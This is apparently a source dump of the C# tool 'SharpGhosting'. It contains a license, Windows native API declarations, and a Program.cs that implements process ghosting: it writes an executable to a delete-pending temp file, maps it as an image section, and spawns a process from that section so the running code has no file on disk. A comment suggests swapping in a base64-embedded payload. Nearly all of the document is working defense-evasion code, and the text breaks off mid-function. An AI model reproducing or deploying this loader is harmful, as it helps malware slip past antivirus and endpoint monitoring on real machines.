├── LICENSE ├── Native.cs ├── Program.cs ├── Properties └── AssemblyInfo.cs ├── README.md ├── SharpGhosting.csproj ├── SharpGhosting.sln └── images └── demo.png /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2022, Wra7h 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /Native.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace SharpGhosting 5 | { 6 | partial class Ghosting 7 | { 8 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)] 9 | public static extern IntPtr CreateFile(string lpFileName, 10 | EFileAccess dwDesiredAccess, 11 | EFileShare dwShareMode, 12 | IntPtr lpSecurityAttributes, 13 | ECreationDisposition dwCreationDisposition, 14 | EFileAttributes dwFlagsAndAttributes, 15 | IntPtr hTemplateFile); 16 | 17 | [DllImport("ntdll.dll", SetLastError = true)] 18 | static extern int NtQueryInformationProcess(IntPtr hProcess, 19 | int ProcessInfoClass, 20 | out PROCESS_BASIC_INFORMATION pbi, 21 | int cb, 22 | out long pSize); 23 | 24 | [DllImport("ntdll.dll", SetLastError = true)] 25 | static extern uint NtReadVirtualMemory(IntPtr ProcessHandle, 26 | IntPtr BaseAddress, 27 | byte[] Buffer, 28 | UInt32 NumberOfBytesToRead, 29 | ref UInt32 NumberOfBytesRead); 30 | 31 | [DllImport("kernel32.dll")] 32 | static extern bool WriteFile(IntPtr hFile, 33 | byte[] lpBuffer, 34 | uint nNumberOfBytesToWrite, 35 | out uint lpNumberOfBytesWritten, 36 | [In] ref System.Threading.NativeOverlapped lpOverlapped); 37 | 38 | [DllImport("Kernel32.dll", SetLastError = true)] 39 | private static extern bool SetFileInformationByHandle(IntPtr hFile, 40 | FileInformationClass FileInformationClass, 41 | ref FILE_DISPOSITION_INFO FileInformation, 42 | Int32 dwBufferSize); 43 | 44 | [DllImport("ntdll.dll")] 45 | public static extern UInt32 NtCreateSection(ref IntPtr section, 46 | UInt32 desiredAccess, 47 | IntPtr pAttrs, 48 | ref long MaxSize, 49 | uint pageProt, 50 | uint allocationAttribs, 51 | IntPtr hFile); 52 | 53 | [DllImport("ntdll.dll", ExactSpelling = true, SetLastError = false)] 54 | static extern int NtClose(IntPtr hObject); 55 | 56 | [DllImport("ntdll.dll")] 57 | public static extern UInt32 NtCreateProcessEx(ref IntPtr ProcessHandle, 58 | UInt32 DesiredAccess, 59 | IntPtr ObjectAttributes, 60 | IntPtr hInheritFromProcess, 61 | uint Flags, 62 | IntPtr SectionHandle, 63 | IntPtr DebugPort, 64 | IntPtr ExceptionPort, 65 | Byte InJob); 66 | 67 | [DllImport("ntdll.dll", SetLastError = true)] 68 | static extern uint NtCreateThreadEx(ref IntPtr threadHandle, 69 | UInt32 desiredAccess, 70 | IntPtr objectAttributes, 71 | IntPtr processHandle, 72 | IntPtr startAddress, 73 | IntPtr parameter, 74 | bool inCreateSuspended, 75 | Int32 stackZeroBits, 76 | Int32 sizeOfStack, 77 | Int32 maximumStackSize, 78 | IntPtr attributeList); 79 | 80 | [DllImport("ntdll.dll")] 81 | public static extern UInt32 RtlCreateProcessParametersEx( 82 | ref IntPtr pProcessParameters, 83 | IntPtr ImagePathName, 84 | IntPtr DllPath, 85 | IntPtr CurrentDirectory, 86 | IntPtr CommandLine, 87 | IntPtr Environment, 88 | IntPtr WindowTitle, 89 | IntPtr DesktopInfo, 90 | IntPtr ShellInfo, 91 | IntPtr RuntimeData, 92 | uint Flags); 93 | 94 | [DllImport("kernel32.dll")] 95 | public static extern IntPtr VirtualAllocEx( 96 | IntPtr hProcess, 97 | IntPtr lpAddress, 98 | uint dwSize, 99 | int flAllocationType, 100 | int flProtect); 101 | 102 | 103 | [DllImport("kernel32.dll")] 104 | public static extern Boolean WriteProcessMemory( 105 | IntPtr hProcess, 106 | IntPtr lpBaseAddress, 107 | IntPtr lpBuffer, 108 | UInt32 nSize, 109 | ref UInt32 lpNumberOfBytesWritten); 110 | 111 | [DllImport("kernel32.dll")] 112 | public static extern Boolean VirtualProtectEx( 113 | IntPtr hProcess, 114 | IntPtr lpAddress, 115 | UInt32 dwSize, 116 | AllocationProtect flNewProtect, 117 | ref UInt32 lpflOldProtect); 118 | 119 | [DllImport("kernel32.dll", SetLastError = true)] 120 | static extern uint ResumeThread(IntPtr hThread); 121 | 122 | [DllImport("userenv.dll", SetLastError = true)] 123 | static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, 124 | IntPtr hToken, 125 | bool bInherit); 126 | 127 | #region StructsAndEnums 128 | 129 | [Flags] 130 | public enum EFileAccess : uint 131 | { 132 | AccessSystemSecurity = 0x1000000, // AccessSystemAcl access type 133 | MaximumAllowed = 0x2000000, // MaximumAllowed access type 134 | 135 | Delete = 0x10000, 136 | ReadControl = 0x20000, 137 | WriteDAC = 0x40000, 138 | WriteOwner = 0x80000, 139 | Synchronize = 0x100000, 140 | 141 | StandardRightsRequired = 0xF0000, 142 | StandardRightsRead = ReadControl, 143 | StandardRightsWrite = ReadControl, 144 | StandardRightsExecute = ReadControl, 145 | StandardRightsAll = 0x1F0000, 146 | SpecificRightsAll = 0xFFFF, 147 | 148 | FILE_READ_DATA = 0x0001, // file & pipe 149 | FILE_LIST_DIRECTORY = 0x0001, // directory 150 | FILE_WRITE_DATA = 0x0002, // file & pipe 151 | FILE_ADD_FILE = 0x0002, // directory 152 | FILE_APPEND_DATA = 0x0004, // file 153 | FILE_ADD_SUBDIRECTORY = 0x0004, // directory 154 | FILE_CREATE_PIPE_INSTANCE = 0x0004, // named pipe 155 | FILE_READ_EA = 0x0008, // file & directory 156 | FILE_WRITE_EA = 0x0010, // file & directory 157 | FILE_EXECUTE = 0x0020, // file 158 | FILE_TRAVERSE = 0x0020, // directory 159 | FILE_DELETE_CHILD = 0x0040, // directory 160 | FILE_READ_ATTRIBUTES = 0x0080, // all 161 | FILE_WRITE_ATTRIBUTES = 0x0100, // all 162 | 163 | GenericRead = 0x80000000, 164 | GenericWrite = 0x40000000, 165 | GenericExecute = 0x20000000, 166 | GenericAll = 0x10000000, 167 | 168 | SPECIFIC_RIGHTS_ALL = 0x00FFFF, 169 | FILE_ALL_ACCESS = 170 | StandardRightsRequired | 171 | Synchronize | 172 | 0x1FF, 173 | 174 | FILE_GENERIC_READ = 175 | StandardRightsRead | 176 | FILE_READ_DATA | 177 | FILE_READ_ATTRIBUTES | 178 | FILE_READ_EA | 179 | Synchronize, 180 | 181 | FILE_GENERIC_WRITE = 182 | StandardRightsWrite | 183 | FILE_WRITE_DATA | 184 | FILE_WRITE_ATTRIBUTES | 185 | FILE_WRITE_EA | 186 | FILE_APPEND_DATA | 187 | Synchronize, 188 | 189 | FILE_GENERIC_EXECUTE = 190 | StandardRightsExecute | 191 | FILE_READ_ATTRIBUTES | 192 | FILE_EXECUTE | 193 | Synchronize 194 | } 195 | 196 | [Flags] 197 | public enum EFileShare : uint 198 | { 199 | None = 0x00000000, 200 | Read = 0x00000001, 201 | Write = 0x00000002, 202 | Delete = 0x00000004 203 | } 204 | 205 | public enum ECreationDisposition : uint 206 | { 207 | New = 1, 208 | CreateAlways = 2, 209 | OpenExisting = 3, 210 | OpenAlways = 4, 211 | TruncateExisting = 5 212 | } 213 | 214 | [Flags] 215 | public enum EFileAttributes : uint 216 | { 217 | Readonly = 0x00000001, 218 | Hidden = 0x00000002, 219 | System = 0x00000004, 220 | Directory = 0x00000010, 221 | Archive = 0x00000020, 222 | Device = 0x00000040, 223 | Normal = 0x00000080, 224 | Temporary = 0x00000100, 225 | SparseFile = 0x00000200, 226 | ReparsePoint = 0x00000400, 227 | Compressed = 0x00000800, 228 | Offline = 0x00001000, 229 | NotContentIndexed = 0x00002000, 230 | Encrypted = 0x00004000, 231 | Write_Through = 0x80000000, 232 | Overlapped = 0x40000000, 233 | NoBuffering = 0x20000000, 234 | RandomAccess = 0x10000000, 235 | SequentialScan = 0x08000000, 236 | DeleteOnClose = 0x04000000, 237 | BackupSemantics = 0x02000000, 238 | PosixSemantics = 0x01000000, 239 | OpenReparsePoint = 0x00200000, 240 | OpenNoRecall = 0x00100000, 241 | FirstPipeInstance = 0x00080000 242 | } 243 | 244 | public struct PROCESS_BASIC_INFORMATION 245 | { 246 | //public NtStatus ExitStatus; 247 | public uint ExitStatus; 248 | public IntPtr PebBaseAddress; 249 | public UIntPtr AffinityMask; 250 | public int BasePriority; 251 | public UIntPtr UniqueProcessId; 252 | public UIntPtr InheritedFromUniqueProcessId; 253 | } 254 | 255 | [StructLayout(LayoutKind.Sequential)] 256 | public struct IMAGE_DOS_HEADER 257 | { 258 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] 259 | public char[] e_magic; // Magic number 260 | public UInt16 e_cblp; // Bytes on last page of file 261 | public UInt16 e_cp; // Pages in file 262 | public UInt16 e_crlc; // Relocations 263 | public UInt16 e_cparhdr; // Size of header in paragraphs 264 | public UInt16 e_minalloc; // Minimum extra paragraphs needed 265 | public UInt16 e_maxalloc; // Maximum extra paragraphs needed 266 | public UInt16 e_ss; // Initial (relative) SS value 267 | public UInt16 e_sp; // Initial SP value 268 | public UInt16 e_csum; // Checksum 269 | public UInt16 e_ip; // Initial IP value 270 | public UInt16 e_cs; // Initial (relative) CS value 271 | public UInt16 e_lfarlc; // File address of relocation table 272 | public UInt16 e_ovno; // Overlay number 273 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] 274 | public UInt16[] e_res1; // Reserved words 275 | public UInt16 e_oemid; // OEM identifier (for e_oeminfo) 276 | public UInt16 e_oeminfo; // OEM information; e_oemid specific 277 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] 278 | public UInt16[] e_res2; // Reserved words 279 | public Int32 e_lfanew; // File address of new exe header 280 | 281 | } 282 | 283 | [StructLayout(LayoutKind.Explicit)] 284 | unsafe public struct IMAGE_NT_HEADERS64 285 | { 286 | [FieldOffset(0)] 287 | public UInt32 Signature; 288 | 289 | [FieldOffset(4)] 290 | public IMAGE_FILE_HEADER FileHeader; 291 | 292 | [FieldOffset(24)] 293 | public IMAGE_OPTIONAL_HEADER64 OptionalHeader; 294 | 295 | private string _Signature 296 | { 297 | get { return new string((char*)Signature); } 298 | } 299 | 300 | public bool isValid 301 | { 302 | get { return _Signature == "PE\0\0" && OptionalHeader.Magic == MagicType.IMAGE_NT_OPTIONAL_HDR64_MAGIC; } 303 | } 304 | } 305 | 306 | [StructLayout(LayoutKind.Sequential)] 307 | public struct IMAGE_FILE_HEADER 308 | { 309 | public UInt16 Machine; 310 | public UInt16 NumberOfSections; 311 | public UInt32 TimeDateStamp; 312 | public UInt32 PointerToSymbolTable; 313 | public UInt32 NumberOfSymbols; 314 | public UInt16 SizeOfOptionalHeader; 315 | public UInt16 Characteristics; 316 | } 317 | 318 | [StructLayout(LayoutKind.Explicit)] 319 | public struct IMAGE_OPTIONAL_HEADER64 320 | { 321 | [FieldOffset(0)] 322 | public MagicType Magic; 323 | 324 | [FieldOffset(2)] 325 | public byte MajorLinkerVersion; 326 | 327 | [FieldOffset(3)] 328 | public byte MinorLinkerVersion; 329 | 330 | [FieldOffset(4)] 331 | public uint SizeOfCode; 332 | 333 | [FieldOffset(8)] 334 | public uint SizeOfInitializedData; 335 | 336 | [FieldOffset(12)] 337 | public uint SizeOfUninitializedData; 338 | 339 | [FieldOffset(16)] 340 | public uint AddressOfEntryPoint; 341 | 342 | [FieldOffset(20)] 343 | public uint BaseOfCode; 344 | 345 | [FieldOffset(24)] 346 | public ulong ImageBase; 347 | 348 | [FieldOffset(32)] 349 | public uint SectionAlignment; 350 | 351 | [FieldOffset(36)] 352 | public uint FileAlignment; 353 | 354 | [FieldOffset(40)] 355 | public ushort MajorOperatingSystemVersion; 356 | 357 | [FieldOffset(42)] 358 | public ushort MinorOperatingSystemVersion; 359 | 360 | [FieldOffset(44)] 361 | public ushort MajorImageVersion; 362 | 363 | [FieldOffset(46)] 364 | public ushort MinorImageVersion; 365 | 366 | [FieldOffset(48)] 367 | public ushort MajorSubsystemVersion; 368 | 369 | [FieldOffset(50)] 370 | public ushort MinorSubsystemVersion; 371 | 372 | [FieldOffset(52)] 373 | public uint Win32VersionValue; 374 | 375 | [FieldOffset(56)] 376 | public uint SizeOfImage; 377 | 378 | [FieldOffset(60)] 379 | public uint SizeOfHeaders; 380 | 381 | [FieldOffset(64)] 382 | public uint CheckSum; 383 | 384 | [FieldOffset(68)] 385 | public SubSystemType Subsystem; 386 | 387 | [FieldOffset(70)] 388 | public DllCharacteristicsType DllCharacteristics; 389 | 390 | [FieldOffset(72)] 391 | public ulong SizeOfStackReserve; 392 | 393 | [FieldOffset(80)] 394 | public ulong SizeOfStackCommit; 395 | 396 | [FieldOffset(88)] 397 | public ulong SizeOfHeapReserve; 398 | 399 | [FieldOffset(96)] 400 | public ulong SizeOfHeapCommit; 401 | 402 | [FieldOffset(104)] 403 | public uint LoaderFlags; 404 | 405 | [FieldOffset(108)] 406 | public uint NumberOfRvaAndSizes; 407 | 408 | [FieldOffset(112)] 409 | public IMAGE_DATA_DIRECTORY ExportTable; 410 | 411 | [FieldOffset(120)] 412 | public IMAGE_DATA_DIRECTORY ImportTable; 413 | 414 | [FieldOffset(128)] 415 | public IMAGE_DATA_DIRECTORY ResourceTable; 416 | 417 | [FieldOffset(136)] 418 | public IMAGE_DATA_DIRECTORY ExceptionTable; 419 | 420 | [FieldOffset(144)] 421 | public IMAGE_DATA_DIRECTORY CertificateTable; 422 | 423 | [FieldOffset(152)] 424 | public IMAGE_DATA_DIRECTORY BaseRelocationTable; 425 | 426 | [FieldOffset(160)] 427 | public IMAGE_DATA_DIRECTORY Debug; 428 | 429 | [FieldOffset(168)] 430 | public IMAGE_DATA_DIRECTORY Architecture; 431 | 432 | [FieldOffset(176)] 433 | public IMAGE_DATA_DIRECTORY GlobalPtr; 434 | 435 | [FieldOffset(184)] 436 | public IMAGE_DATA_DIRECTORY TLSTable; 437 | 438 | [FieldOffset(192)] 439 | public IMAGE_DATA_DIRECTORY LoadConfigTable; 440 | 441 | [FieldOffset(200)] 442 | public IMAGE_DATA_DIRECTORY BoundImport; 443 | 444 | [FieldOffset(208)] 445 | public IMAGE_DATA_DIRECTORY IAT; 446 | 447 | [FieldOffset(216)] 448 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor; 449 | 450 | [FieldOffset(224)] 451 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; 452 | 453 | [FieldOffset(232)] 454 | public IMAGE_DATA_DIRECTORY Reserved; 455 | } 456 | 457 | [StructLayout(LayoutKind.Sequential)] 458 | public struct IMAGE_DATA_DIRECTORY 459 | { 460 | public UInt32 VirtualAddress; 461 | public UInt32 Size; 462 | } 463 | 464 | public enum DllCharacteristicsType : ushort 465 | { 466 | RES_0 = 0x0001, 467 | RES_1 = 0x0002, 468 | RES_2 = 0x0004, 469 | RES_3 = 0x0008, 470 | IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040, 471 | IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY = 0x0080, 472 | IMAGE_DLL_CHARACTERISTICS_NX_COMPAT = 0x0100, 473 | IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0x0200, 474 | IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400, 475 | IMAGE_DLLCHARACTERISTICS_NO_BIND = 0x0800, 476 | RES_4 = 0x1000, 477 | IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 0x2000, 478 | IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 0x8000 479 | } 480 | 481 | public enum SubSystemType : ushort 482 | { 483 | IMAGE_SUBSYSTEM_UNKNOWN = 0, 484 | IMAGE_SUBSYSTEM_NATIVE = 1, 485 | IMAGE_SUBSYSTEM_WINDOWS_GUI = 2, 486 | IMAGE_SUBSYSTEM_WINDOWS_CUI = 3, 487 | IMAGE_SUBSYSTEM_POSIX_CUI = 7, 488 | IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9, 489 | IMAGE_SUBSYSTEM_EFI_APPLICATION = 10, 490 | IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11, 491 | IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12, 492 | IMAGE_SUBSYSTEM_EFI_ROM = 13, 493 | IMAGE_SUBSYSTEM_XBOX = 14 494 | 495 | } 496 | 497 | public enum MagicType : ushort 498 | { 499 | IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b, 500 | IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b 501 | } 502 | 503 | enum FileInformationClass : int 504 | { 505 | FileBasicInfo = 0, 506 | FileStandardInfo = 1, 507 | FileNameInfo = 2, 508 | FileRenameInfo = 3, 509 | FileDispositionInfo = 4, 510 | FileAllocationInfo = 5, 511 | FileEndOfFileInfo = 6, 512 | FileStreamInfo = 7, 513 | FileCompressionInfo = 8, 514 | FileAttributeTagInfo = 9, 515 | FileIdBothDirectoryInfo = 10, // 0xA 516 | FileIdBothDirectoryRestartInfo = 11, // 0xB 517 | FileIoPriorityHintInfo = 12, // 0xC 518 | FileRemoteProtocolInfo = 13, // 0xD 519 | FileFullDirectoryInfo = 14, // 0xE 520 | FileFullDirectoryRestartInfo = 15, // 0xF 521 | FileStorageInfo = 16, // 0x10 522 | FileAlignmentInfo = 17, // 0x11 523 | FileIdInfo = 18, // 0x12 524 | FileIdExtdDirectoryInfo = 19, // 0x13 525 | FileIdExtdDirectoryRestartInfo = 20, // 0x14 526 | } 527 | [StructLayout(LayoutKind.Sequential)] 528 | struct FILE_DISPOSITION_INFO 529 | { 530 | public bool DeleteFile; 531 | } 532 | 533 | [StructLayout(LayoutKind.Explicit, Size = 0x40)] 534 | public struct PEB 535 | { 536 | [FieldOffset(0x000)] 537 | public byte InheritedAddressSpace; 538 | [FieldOffset(0x001)] 539 | public byte ReadImageFileExecOptions; 540 | [FieldOffset(0x002)] 541 | public byte BeingDebugged; 542 | [FieldOffset(0x003)] 543 | public byte Spare; 544 | [FieldOffset(0x008)] 545 | public IntPtr Mutant; 546 | [FieldOffset(0x010)] 547 | public IntPtr ImageBaseAddress; // (PVOID) 548 | [FieldOffset(0x018)] 549 | public IntPtr Ldr; // (PPEB_LDR_DATA) 550 | [FieldOffset(0x020)] 551 | public IntPtr ProcessParameters; // (PRTL_USER_PROCESS_PARAMETERS) 552 | [FieldOffset(0x028)] 553 | public IntPtr SubSystemData; // (PVOID) 554 | [FieldOffset(0x030)] 555 | public IntPtr ProcessHeap; // (PVOID) 556 | [FieldOffset(0x038)] 557 | public IntPtr FastPebLock; // (PRTL_CRITICAL_SECTION) 558 | } 559 | 560 | [StructLayout(LayoutKind.Sequential)] 561 | public struct UNICODE_STRING 562 | { 563 | public UInt16 Length; 564 | public UInt16 MaximumLength; 565 | public IntPtr Buffer; 566 | } 567 | 568 | [Flags] 569 | public enum AllocationProtect : uint 570 | { 571 | NONE = 0x00000000, 572 | PAGE_EXECUTE = 0x00000010, 573 | PAGE_EXECUTE_READ = 0x00000020, 574 | PAGE_EXECUTE_READWRITE = 0x00000040, 575 | PAGE_EXECUTE_WRITECOPY = 0x00000080, 576 | PAGE_NOACCESS = 0x00000001, 577 | PAGE_READONLY = 0x00000002, 578 | PAGE_READWRITE = 0x00000004, 579 | PAGE_WRITECOPY = 0x00000008, 580 | PAGE_GUARD = 0x00000100, 581 | PAGE_NOCACHE = 0x00000200, 582 | PAGE_WRITECOMBINE = 0x00000400 583 | } 584 | #endregion 585 | } 586 | } 587 | -------------------------------------------------------------------------------- /Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Runtime.InteropServices; 6 | 7 | namespace SharpGhosting 8 | { 9 | partial class Ghosting 10 | { 11 | public static void Main(string[] args) 12 | { 13 | string realExe = null; 14 | string fakeExe = null; 15 | for (int i = 0; i < args.Length; i++) 16 | { 17 | if (args[i] == "-real") 18 | { 19 | if (File.Exists(args[i + 1])) 20 | { 21 | Console.WriteLine("[*] Real: {0}", args[i + 1]); 22 | realExe = args[i + 1]; 23 | } 24 | } 25 | 26 | if (args[i] == "-fake") 27 | { 28 | if (!File.Exists(args[i + 1]) && Directory.Exists(Path.GetDirectoryName(args[i + 1]))) 29 | { 30 | fakeExe = args[i + 1]; 31 | Console.WriteLine("[*] Fake: {0}", fakeExe); 32 | } 33 | else 34 | { 35 | Console.WriteLine("[~] The fake file may exist, or the path to the file did not. Generating temp filename."); 36 | } 37 | } 38 | 39 | if (args[i] == "-h") 40 | { 41 | Console.WriteLine("\n\t\tSharpGhosting"); 42 | Console.WriteLine("-real: the real executable you wish to spawn. [REQUIRED]"); 43 | Console.WriteLine("-fake: the filepath to a place where you want to temporarily hold a file."); 44 | Environment.Exit(0); 45 | } 46 | } 47 | 48 | if (fakeExe == null) 49 | { 50 | fakeExe = Path.GetTempFileName(); 51 | Console.WriteLine("[*] Fake: {0}", fakeExe); 52 | } 53 | 54 | if (realExe != null) 55 | { 56 | SpawnProcess(realExe, fakeExe); 57 | } 58 | } 59 | 60 | public static void SpawnProcess(string exeToRun, string fakeExe) 61 | { 62 | IntPtr fptrPeModule = CreateFile(fakeExe, EFileAccess.Delete | EFileAccess.Synchronize | EFileAccess.GenericRead | EFileAccess.GenericWrite, EFileShare.Read | EFileShare.Write, IntPtr.Zero, ECreationDisposition.OpenAlways, 0, IntPtr.Zero); 63 | 64 | //string base64 = @""; 65 | //byte[] realExe = Convert.FromBase64String(base64); this works too if you wanna avoid specifying "-real" and would rather put a base64 encoded string on the line above. 66 | byte[] realExe = File.ReadAllBytes(exeToRun); 67 | 68 | uint numWritten; 69 | uint entryPoint = GetEntryPoint(realExe.Take(4096).ToArray()); 70 | System.Threading.NativeOverlapped overlap = new System.Threading.NativeOverlapped(); 71 | WriteFile(fptrPeModule, realExe, (uint)realExe.Length, out numWritten, ref overlap); 72 | 73 | FILE_DISPOSITION_INFO FDI = new FILE_DISPOSITION_INFO(); 74 | FDI.DeleteFile = true; 75 | 76 | if (!SetFileInformationByHandle(fptrPeModule, FileInformationClass.FileDispositionInfo, ref FDI, Marshal.SizeOf(FDI))) 77 | { 78 | Console.WriteLine("[!] SetFileInformationByHandle() Error: {0}", Marshal.GetLastWin32Error().ToString()); 79 | Environment.Exit(0); 80 | } 81 | else 82 | { 83 | Console.WriteLine("[+] File marked as delete on close!"); 84 | } 85 | 86 | IntPtr hSection = IntPtr.Zero; 87 | long maxSize = 0; 88 | uint ntCreate = NtCreateSection(ref hSection, 0x0F001F, IntPtr.Zero, ref maxSize, 0x02, 0x1000000, fptrPeModule); 89 | if (ntCreate == 0) 90 | { 91 | Console.WriteLine("[+] NtCreateSection() success!"); 92 | } 93 | else 94 | { 95 | Console.WriteLine("[-] NtCreateSection() failed. Exiting."); 96 | Environment.Exit(0); 97 | } 98 | NtClose(fptrPeModule); 99 | 100 | IntPtr hProcess = IntPtr.Zero; 101 | ntCreate = NtCreateProcessEx(ref hProcess, 0x001F0FFF/*ALL_ACCESS*/, IntPtr.Zero, Process.GetCurrentProcess().Handle, 4, hSection, IntPtr.Zero, IntPtr.Zero, 0); 102 | if (ntCreate == 0) 103 | { 104 | Console.WriteLine("[+] NtCreateProcessEx() success!"); 105 | } 106 | else 107 | { 108 | Console.WriteLine("[!] NtCreateProcessEx() failed. Exiting."); 109 | Environment.Exit(0); 110 | } 111 | 112 | if (!SetupProcessParameters(hProcess, fakeExe)) 113 | { 114 | Console.WriteLine("[!] Failed to setup process parameters. Exiting."); 115 | Environment.Exit(0); 116 | } 117 | 118 | IntPtr hThread = IntPtr.Zero; 119 | IntPtr procEntry = (IntPtr)(FetchPEB(hProcess).ToInt64() + entryPoint); 120 | ntCreate = NtCreateThreadEx(ref hThread, 2097151, IntPtr.Zero, hProcess, (IntPtr)procEntry, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); 121 | if (ntCreate == 0) 122 | { 123 | Console.WriteLine("[+] NtCreateThreadEx() success!"); 124 | } 125 | else 126 | { 127 | Console.WriteLine("[!] NtCreateThreadEx() failed. Exiting."); 128 | Environment.Exit(0); 129 | } 130 | } 131 | 132 | public static uint GetEntryPoint(byte[] pe_buffer) 133 | { 134 | GCHandle pPEBuffer = GCHandle.Alloc(pe_buffer, GCHandleType.Pinned); 135 | IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(pPEBuffer.AddrOfPinnedObject(), typeof(IMAGE_DOS_HEADER)); 136 | 137 | IntPtr pNTHeader = (IntPtr)(pPEBuffer.AddrOfPinnedObject().ToInt64() + dosHeader.e_lfanew); 138 | IMAGE_NT_HEADERS64 ntHeader = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(pNTHeader, typeof(IMAGE_NT_HEADERS64)); 139 | return ntHeader.OptionalHeader.AddressOfEntryPoint; 140 | } 141 | 142 | public static IntPtr FetchPEB(IntPtr hProcess) 143 | { 144 | PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); 145 | long pSize; 146 | NtQueryInformationProcess(hProcess, 0x00, out pbi, Marshal.SizeOf(pbi), out pSize); 147 | byte[] pebBytes = new byte[0x40]; 148 | uint numRead = 0; 149 | NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, pebBytes, (uint)pebBytes.Length, ref numRead); 150 | 151 | GCHandle pPEB = GCHandle.Alloc(pebBytes, GCHandleType.Pinned); 152 | PEB peb = (PEB)Marshal.PtrToStructure(pPEB.AddrOfPinnedObject(), typeof(PEB)); 153 | 154 | return peb.ImageBaseAddress; 155 | } 156 | 157 | // Credit to FuzzySecurity's SwampThing for SetupProcessParameters(), EmitUnicodeString(), WriteRemoteMem(), PBI() 158 | // See references 159 | public static bool SetupProcessParameters(IntPtr hProcess, string targetPath) 160 | { 161 | string WinDir = Environment.GetEnvironmentVariable("windir"); 162 | IntPtr uSystemDir = EmitUnicodeString((WinDir + "\\System32")); 163 | IntPtr uLaunchPath = EmitUnicodeString(targetPath); 164 | IntPtr uWindowName = EmitUnicodeString(""); 165 | IntPtr environment = IntPtr.Zero; 166 | //CreateEnvironmentBlock(out environment, IntPtr.Zero, true); 167 | 168 | IntPtr pProcessParams = IntPtr.Zero; 169 | uint RtlCreateSuccess = RtlCreateProcessParametersEx(ref pProcessParams, uLaunchPath, uSystemDir, uSystemDir, uLaunchPath, environment, uWindowName, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 1); 170 | if (RtlCreateSuccess != 0) 171 | { 172 | Console.WriteLine("[!] Failed to create process parameters"); 173 | return false; 174 | } 175 | else 176 | { 177 | Console.WriteLine("[+] RtlCreateProcessParametersEx success!"); 178 | } 179 | 180 | Int32 iProcessParamsSize = Marshal.ReadInt32((IntPtr)((Int64)pProcessParams + 4)); 181 | VirtualAllocEx(hProcess, pProcessParams, (UInt32)iProcessParamsSize, 0x3000, (Int32)AllocationProtect.PAGE_READWRITE); 182 | bool bRemoteWriteSuccess = WriteRemoteMem(hProcess, pProcessParams, pProcessParams, iProcessParamsSize, AllocationProtect.PAGE_READWRITE); 183 | if (!bRemoteWriteSuccess) 184 | { 185 | Console.WriteLine("[!] Failed to allocate custom RTL_USER_PROCESS_PARAMETERS"); 186 | return false; 187 | } 188 | 189 | IntPtr pRewriteProcessParams = Marshal.AllocHGlobal(0x8); 190 | Marshal.WriteInt64(pRewriteProcessParams, (Int64)pProcessParams); 191 | 192 | bRemoteWriteSuccess = WriteRemoteMem(hProcess, pRewriteProcessParams, (IntPtr)((PBI(hProcess).PebBaseAddress).ToInt64() + 0x20), 0x8, AllocationProtect.PAGE_READWRITE); 193 | if (!bRemoteWriteSuccess) 194 | { 195 | Console.WriteLine("[!] Failed to rewrite PEB->pProcessParameters"); 196 | return false; 197 | } 198 | 199 | return true; 200 | } 201 | public static IntPtr EmitUnicodeString(String Data) 202 | { 203 | UNICODE_STRING StringObject = new UNICODE_STRING(); 204 | StringObject.Length = (UInt16)(Data.Length * 2); 205 | 